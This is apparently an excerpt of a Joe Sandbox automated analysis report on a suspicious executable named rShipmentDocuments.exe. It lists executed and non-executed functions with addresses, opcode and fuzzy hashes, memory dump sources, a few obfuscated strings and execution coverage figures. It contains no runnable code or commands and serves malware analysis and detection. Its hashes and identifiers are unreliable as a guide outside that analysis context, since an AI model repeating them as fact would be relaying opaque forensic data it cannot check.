Opcode ID: 4cb72d358fb08c18be749e5f14ac023274d44c430549878516a71c2bd05d6861
Instruction ID: f979e712f93929eb27c1f443d0543b6bd8f644f06917d0e0175071f695950fba
Opcode Fuzzy Hash: 4cb72d358fb08c18be749e5f14ac023274d44c430549878516a71c2bd05d6861
Instruction Fuzzy Hash: 49210371500240DFDB25DF5CD9C8B26FF65FB88318F30C5A9E9090B25AC336D456CAA1

Function 0172D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727503411.000000000172D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0172D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_172d000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f95674fcd30531e3ef84765d39f2a6a86f2f538d68dd09ff1d90f1402b0f0569
Instruction ID: fc4dddc7ee945f24f0ec8b3b3b271c5516510d27bfc06954a2b3232533aec66b
Opcode Fuzzy Hash: f95674fcd30531e3ef84765d39f2a6a86f2f538d68dd09ff1d90f1402b0f0569
Instruction Fuzzy Hash: 16212671508200EFDB25DF98D9C4B26FBE5FB89324F20C6ADE9098B256C336D447CA61

Function 0172D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727503411.000000000172D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0172D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_172d000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dff93752d53a54ea68ca9863d34d694b00a5dfe1225df37578347f11b3a82f19
Instruction ID: 345a5f97249c062dad9a470ed791c7654215084d1810e21af9334c486e17a2be
Opcode Fuzzy Hash: dff93752d53a54ea68ca9863d34d694b00a5dfe1225df37578347f11b3a82f19
Instruction Fuzzy Hash: 8C212271604240DFCB35DF98D9C4B26FFA5EB88314F20C5ADD90A4B2A6C33AD447CA61

Function 0171D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727439582.000000000171D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0171D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_171d000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 379c7830f2362e129389306a6e719d3f37ca641c40e4bfdeb21f02f76c39122a
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 8611AF76504280CFDB16CF58D5C4B16FF72FB84318F24C6A9D9490B65AC336D45ACBA1

Function 0171D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727439582.000000000171D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0171D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_171d000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 2e9c8eb70add51688afd0c8c4ac93d2c862ab6d785ebb4a09fb3b92661334dbf
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: B911CD72444240CFDB16CF48D5C4B56BF62FB94224F24C6A9DD090A25AC33AE45ACBA1

Function 0172D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727503411.000000000172D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0172D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_172d000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 6dda2efb86ea8ea6be7353b0bec10821f913f0c565bba2bf9fbd7b8669d5346c
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: C911D075504280CFDB22CF54D5C4B15FF61FB44314F24C6AAD8494B666C33AD40BCB61

Function 0172D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727503411.000000000172D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0172D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_172d000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 19b65c7c97821a56a05ef4f24630e059c34183730f08b5e834745d395539e84f
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 9211BB75508280DFDB12CF54C5C4B15FFA1FB85224F24C6AAD8498B296C33AD40ACB61

Non-executed Functions

Function 058DA8B0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731446096.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79d799e7775335bc403a0def0d622c1134bf2e908f511c588cf4cf5969c4695f
Instruction ID: 8baa7abf8a130cb16bf100a4889c77f4924fb5cd96c713dd0dfebded62467a6d
Opcode Fuzzy Hash: 79d799e7775335bc403a0def0d622c1134bf2e908f511c588cf4cf5969c4695f
Instruction Fuzzy Hash: C7D1F831D2065A8ACB00EBA8D994A9DF771FFD5300F50C79AE4497B214FB706AC9CB81

Function 0177E06C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727777768.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544d27a0f5ba563e0798917aee2e286140cf32c9260eba26d9d5cceb077167cf
Instruction ID: c71beafbebb68326d893ba3d5d369f7aa0caa333bbae635e965ea9db54d74b9c
Opcode Fuzzy Hash: 544d27a0f5ba563e0798917aee2e286140cf32c9260eba26d9d5cceb077167cf
Instruction Fuzzy Hash: 20A15E32A00216CFCF15DFB8C94459EF7B2FF85300F2585AAE915AB225DB31E955CB50

Function 058DA8C0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731446096.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c0c1e0c07539f785e97a4d990e7ab270d6b5a4413827f5b31a4d710168ad41a
Instruction ID: 9611fa27352d53035792362f0ffa509dad7cc51527575e886a3c99941a5aca1b
Opcode Fuzzy Hash: 8c0c1e0c07539f785e97a4d990e7ab270d6b5a4413827f5b31a4d710168ad41a
Instruction Fuzzy Hash: 19D1F831D2065A8ACB00EBA8D994A9DF7B1FFD5300F50C79AE5493B214FB706AC5CB81

Function 058D9518 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731446096.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50719ac09746ce2d62af6946f4224732a010a3c60bd1495459e604082100b523
Instruction ID: 7bfe2198c500c80ac1efa1fafdef265caedc7a0a2c792d6dc7ad39b5070a2a5b
Opcode Fuzzy Hash: 50719ac09746ce2d62af6946f4224732a010a3c60bd1495459e604082100b523
Instruction Fuzzy Hash: 18415A70E0520A9FCB04CFA9E5445AEFBF2FF88344F10956AD811E7264E7749A01CF55

Analysis Process: rShipmentDocuments.exePID: 7768, Parent PID: 7300COMMON

Execution Graph

Execution Coverage:	16.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	27.3%
Total number of Nodes:	44
Total number of Limit Nodes:	9

Executed Functions

Function 02A37118 Relevance: 6.6, Strings: 5, Instructions: 349
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 02A3753D
,bq, xrefs: 02A37298
(o^q, xrefs: 02A37212
,bq, xrefs: 02A3728A
(o^q, xrefs: 02A37220

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: 3014f164fe4d1f186ae95a10d1b0fca181fb4a184feb2dedaca2414e1f1823bb
Instruction ID: da066856390e61ef9b3f9b2f300f8e1b9e00a7a663e10194462894a0410f0b8c
Opcode Fuzzy Hash: 3014f164fe4d1f186ae95a10d1b0fca181fb4a184feb2dedaca2414e1f1823bb
Instruction Fuzzy Hash: 0AE12AB1A00119DFCB16CFA9DC84AADFBF2BF88354F658465F815AB265DB30E841CB50

Function 02A3C148 Relevance: 6.5, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 02A3C400
PH^q, xrefs: 02A3C3EF
LjAp, xrefs: 02A3C38D
LjAp, xrefs: 02A3C377
0oAp, xrefs: 02A3C20A

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 4ea67ad1f1b2e3332a490256dfaa82c53b588ff69d431216161a031f17af70b0
Instruction ID: 82dceeed55a648ded2500ddcaf9f7301a75f0744e0c2aa85d9793e732a4b422c
Opcode Fuzzy Hash: 4ea67ad1f1b2e3332a490256dfaa82c53b588ff69d431216161a031f17af70b0
Instruction Fuzzy Hash: CAA1F674E00218DFDB15DFAAD884A9DFBF2BF89310F14806AE409AB365DB349945CF50

Function 02A35362 Relevance: 6.4, Strings: 5, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 02A35550
0oAp, xrefs: 02A353E2
PH^q, xrefs: 02A355C8
PH^q, xrefs: 02A355D9
LjAp, xrefs: 02A35566

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 7440f7252be5473cf6302b1bbdc84f692786c75be56922eb0a9125a9bc75a362
Instruction ID: 82a5586cd7bda9d86393ab29115d22a2804458f18e8f290a0f4908ee431a2cce
Opcode Fuzzy Hash: 7440f7252be5473cf6302b1bbdc84f692786c75be56922eb0a9125a9bc75a362
Instruction Fuzzy Hash: 1B91D675E00218CFDB19CFA9D984A9DBBF2BF89300F14C069E419AB365DB349985CF50

Function 02A3C468 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 02A3C4DA
PH^q, xrefs: 02A3C6BF
PH^q, xrefs: 02A3C6D0
LjAp, xrefs: 02A3C65D
LjAp, xrefs: 02A3C647

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 5fce64fd6c18bdc8d9e2dd4f08bdae3d9baa15e2ff355e74210d2f72463c0fac
Instruction ID: 270e26c4f4bb74ad98b5ad1ee8a7ac8bcae669dd186aba7ad1e5e4c2e03e77f0
Opcode Fuzzy Hash: 5fce64fd6c18bdc8d9e2dd4f08bdae3d9baa15e2ff355e74210d2f72463c0fac
Instruction Fuzzy Hash: FA81C274E00218CFDB55DFAAD984A9DBBF2BF88310F14D06AE419AB365DB349981CF50

Function 02A3CA08 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 02A3CC70
LjAp, xrefs: 02A3CBFD
PH^q, xrefs: 02A3CC5F
0oAp, xrefs: 02A3CA7A
LjAp, xrefs: 02A3CBE7

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: af1da54a1f56697337879f760266ec75388dc587325f2e71185a79411bbc5462
Instruction ID: 52a6cc1f5a85f4cdac7e202d7e94cda891bc9b4504ef63a5a2c0f4a8b18f776a
Opcode Fuzzy Hash: af1da54a1f56697337879f760266ec75388dc587325f2e71185a79411bbc5462
Instruction Fuzzy Hash: 6C81B274E00218CFDB54DFAAD984A9DBBF2BF88310F14C06AE419AB365DB349985CF50

Function 02A3D278 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 02A3D4CF
PH^q, xrefs: 02A3D4E0
0oAp, xrefs: 02A3D2EA
LjAp, xrefs: 02A3D46D
LjAp, xrefs: 02A3D457

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: c486b68b1b369d59195e807b729d63816e81866f4a0b5d03ac807e95c4571a66
Instruction ID: 6b5563855441ab75a69a7c2f66f32d6c7c9cd78879d584ba5bf25bf102e95a41
Opcode Fuzzy Hash: c486b68b1b369d59195e807b729d63816e81866f4a0b5d03ac807e95c4571a66
Instruction Fuzzy Hash: D481B474E00618CFDB58DFAAD984A9DBBF2BF88310F14C069E419AB365DB349985CF10

Function 02A3C738 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 02A3C9A0
PH^q, xrefs: 02A3C98F
LjAp, xrefs: 02A3C917
LjAp, xrefs: 02A3C92D
0oAp, xrefs: 02A3C7AA

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 9f459acc4efff3c1eba80d66313e474073436c450bbff7d1c03248f6d4da1593
Instruction ID: e576b38d39a35b3baba00a923e5d24ea5b17e51e23d588a5dd45854e761d57ac
Opcode Fuzzy Hash: 9f459acc4efff3c1eba80d66313e474073436c450bbff7d1c03248f6d4da1593
Instruction Fuzzy Hash: 2681A074E00218CFDB15DFAAD984A9DBBF2BF88310F14C06AE419AB365DB349981CF50

Function 02A3CCD8 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 02A3CF40
LjAp, xrefs: 02A3CECD
PH^q, xrefs: 02A3CF2F
0oAp, xrefs: 02A3CD4A
LjAp, xrefs: 02A3CEB7

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 02062cb7561a68aa00914c4ab1e0d8ddd61dacd830dfbe7e98908b8bc92a12fe
Instruction ID: d0d97f6818f1bb9f589f866ed1ab240a8415c18c78d96959d54ad8a4ff244e2b
Opcode Fuzzy Hash: 02062cb7561a68aa00914c4ab1e0d8ddd61dacd830dfbe7e98908b8bc92a12fe
Instruction Fuzzy Hash: D181B674E00218DFDB54DFA9D984A9DBBF2BF88310F24C06AE419AB365DB349985CF50

Function 02A3CFAA Relevance: 6.4, Strings: 5, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 02A3D210
PH^q, xrefs: 02A3D1FF
LjAp, xrefs: 02A3D19D
0oAp, xrefs: 02A3D01A
LjAp, xrefs: 02A3D187

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 952a2de2d8d09cde92e4ca73538dfb2a268117538e1eec0d81eaa6229806075d
Instruction ID: 46ff1b2c2a5a6f25bc8c152c0e8bc6cafdfa78bc30c357531129b5d75e97bb52
Opcode Fuzzy Hash: 952a2de2d8d09cde92e4ca73538dfb2a268117538e1eec0d81eaa6229806075d
Instruction Fuzzy Hash: 9B81B274E00618CFDB58DFAAD984A9DBBF2BF88300F14C069E419AB365DB349985CF10

Function 02A3A088 Relevance: 3.4, Strings: 2, Instructions: 890COMMON

Download Yara Rule

Strings

(o^q, xrefs: 02A3A518
4'^q, xrefs: 02A3AB13

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: (o^q$4'^q
API String ID: 0-273632683
Opcode ID: 79766bbb12b6081ee40a6d4742ad39b56edd2fe942dfb865be3bd92315fdd28e
Instruction ID: df98e519de122583cdd5f457744a588353c8392297b83493db5394c643f8bccb
Opcode Fuzzy Hash: 79766bbb12b6081ee40a6d4742ad39b56edd2fe942dfb865be3bd92315fdd28e
Instruction Fuzzy Hash: C3826B31A00219DFCB16CFA8C984AAEBBF2FF88314F158559F4459B366DB31E991CB50

Function 02A369B0 Relevance: 3.1, Strings: 2, Instructions: 561
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 02A36EDA
Hbq, xrefs: 02A36DA6

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: 254b1ccc7b279b2cfaab3fff55d47cfb695fac117ff9251513a15010c0d5d904
Instruction ID: f24b50cc70dcfa3e79d97d656ab8ffe772206d34791dd7214e39573ff921630d
Opcode Fuzzy Hash: 254b1ccc7b279b2cfaab3fff55d47cfb695fac117ff9251513a15010c0d5d904
Instruction Fuzzy Hash: 5B229D70A002199FCB15DF69C894BAEBBFABF88704F248469E815DB390DF349D41CB94

Function 068F9328 Relevance: 2.0, APIs: 1, Instructions: 528COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e95215d050e7d0f41eb0368b94d050f4c4e0f6533f6a6fcba45c581d87f8e0c3
Instruction ID: 4b4e8005468d779a3c05e3e8026a4b90a5148bc69f416f670fa070af3e7021e6
Opcode Fuzzy Hash: e95215d050e7d0f41eb0368b94d050f4c4e0f6533f6a6fcba45c581d87f8e0c3
Instruction Fuzzy Hash: 57223570E10218CFDF64DFA9C884B9DBBB2BF88304F1085A9E519AB355DB349985CF91

Function 068F0B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d88814e3be409feab395fa6ea7e8bc865ad64908c763470df1317f3abf7f48f
Instruction ID: a967c97056bcfaaab2517ef2ec6d29c2c27a94ec1715075a1a13655515b12619
Opcode Fuzzy Hash: 6d88814e3be409feab395fa6ea7e8bc865ad64908c763470df1317f3abf7f48f
Instruction Fuzzy Hash: 5572DD74E01228CFDBA4DF69C984BEDBBB2BB49304F1491E9E549A7255DB309E81CF40

Function 068FF3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fec321d6f4f25e020f9d961abcd26c0ab0e723f81f4328a0c7c7c19b23a26e6
Instruction ID: e09d307f1a24a4873efc5b1346f8066bbde028a8a5cd65f54fe53b7444d1c615
Opcode Fuzzy Hash: 5fec321d6f4f25e020f9d961abcd26c0ab0e723f81f4328a0c7c7c19b23a26e6
Instruction Fuzzy Hash: CAC1B274E11218CFDB54DFA9C954B9DBBB2BF89300F2080A9D909AB354DB359E85CF50

Function 068F2970 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70446b76604ba89797cd79bb4bade4f577d0db1f1ec1ead4dcac04f654aa0cfd
Instruction ID: 3db8a9546760f7bf7551cee2d5ba514cd2cf683c33d4dc152ccfa02a1137b1c4
Opcode Fuzzy Hash: 70446b76604ba89797cd79bb4bade4f577d0db1f1ec1ead4dcac04f654aa0cfd
Instruction Fuzzy Hash: 4AC1AE74E01218CFDB54DFA5D994B9DBBB2BF88304F2080A9D809AB364DB359E85CF50

Function 068F2DD0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d20cedd17989b0c9686b9725f6d5c63b5d1e2fbc44862c743c68818830db37c
Instruction ID: df5268d9453363c3805ecf1702dbb619f7c82b6696f9cbdfb404a7c866db045a
Opcode Fuzzy Hash: 3d20cedd17989b0c9686b9725f6d5c63b5d1e2fbc44862c743c68818830db37c
Instruction Fuzzy Hash: 2EA10370D10208CFDB24DFA9C994B9DBBB1FF88314F209269E508AB3A1DB745A85CF51

Function 068F2DCA Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd102f061f870f4e7d46b4f4a012fcd1dd046074895196b561bf97859f5868c9
Instruction ID: 344fdb03b51253c89139dbf97c3c9da038ea154f78d8f2fa7ab666462d238c24
Opcode Fuzzy Hash: bd102f061f870f4e7d46b4f4a012fcd1dd046074895196b561bf97859f5868c9
Instruction Fuzzy Hash: 64A10370D10208CFDB14DFA9C994B9DBBB1FF89314F209269E509AB3A1DB749A85CF50

Function 068F3116 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18d4e3173154d81e78bf5a618c7d05db2ad9470471bd2316f451017b31f7401a
Instruction ID: 0cbe995f3e1cf588c4136078186441d2c67b07b3a216ff151962ef0c642ce459
Opcode Fuzzy Hash: 18d4e3173154d81e78bf5a618c7d05db2ad9470471bd2316f451017b31f7401a
Instruction Fuzzy Hash: AF911370D10218CFEB50DFA8C894BDCBBB1FF49314F209269E609AB291DB759A85CF54

Function 02A3E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76a1c54be5b5870dadda5ff19d7ec31ca23139187b44ced7bd366f85814e2e94
Instruction ID: 2ac8720809c36b4977b3bb384e955fa82568de51c3fc17aa74965e0419b2ecac
Opcode Fuzzy Hash: 76a1c54be5b5870dadda5ff19d7ec31ca23139187b44ced7bd366f85814e2e94
Instruction Fuzzy Hash: 63519374E00208DFDB19DFAAD584A9DBBF2BF88310F248529E819BB364DB319945CF54

Function 02A3E97A Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 028776c89e8160c6309cec676d04367d14247ed38fa162cd544d18856d97aaaa
Instruction ID: f62f32295f7441a899fbb55c2cb3f57dd59348a1486912d7e3e4f498835f2a15
Opcode Fuzzy Hash: 028776c89e8160c6309cec676d04367d14247ed38fa162cd544d18856d97aaaa
Instruction Fuzzy Hash: 5951B374E00208DFDB19DFAAD984A9DBBB2FF88310F24C529E815AB364DB319845CF54

Function 02A376F1 Relevance: 10.5, Strings: 8, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 02A37BFF
(o^q, xrefs: 02A3772E
,bq, xrefs: 02A37B90
(o^q, xrefs: 02A377E9
(o^q, xrefs: 02A37C0F
(o^q, xrefs: 02A37815
,bq, xrefs: 02A37BA0
(o^q, xrefs: 02A378B2

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 24897c45cab754d2c22b34652dfa4e2f939b538257b674cd9c55ba9b29236c19
Instruction ID: 14ff931741d9b19b9a2694d5d93159348cba91e4eb33ffb57c7ce07acd78e78f
Opcode Fuzzy Hash: 24897c45cab754d2c22b34652dfa4e2f939b538257b674cd9c55ba9b29236c19
Instruction Fuzzy Hash: 2F122770A002099FCB16CF69D984AAEFBF2FF48314F158599F41A9B261DB30ED45CB50

Function 02A36498 Relevance: 2.7, Strings: 2, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 02A36578
,bq, xrefs: 02A3656E

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: a061cd003b03d53e5246b3adc94b4cd4beee814380d1a901c4fa4de2651b2af2
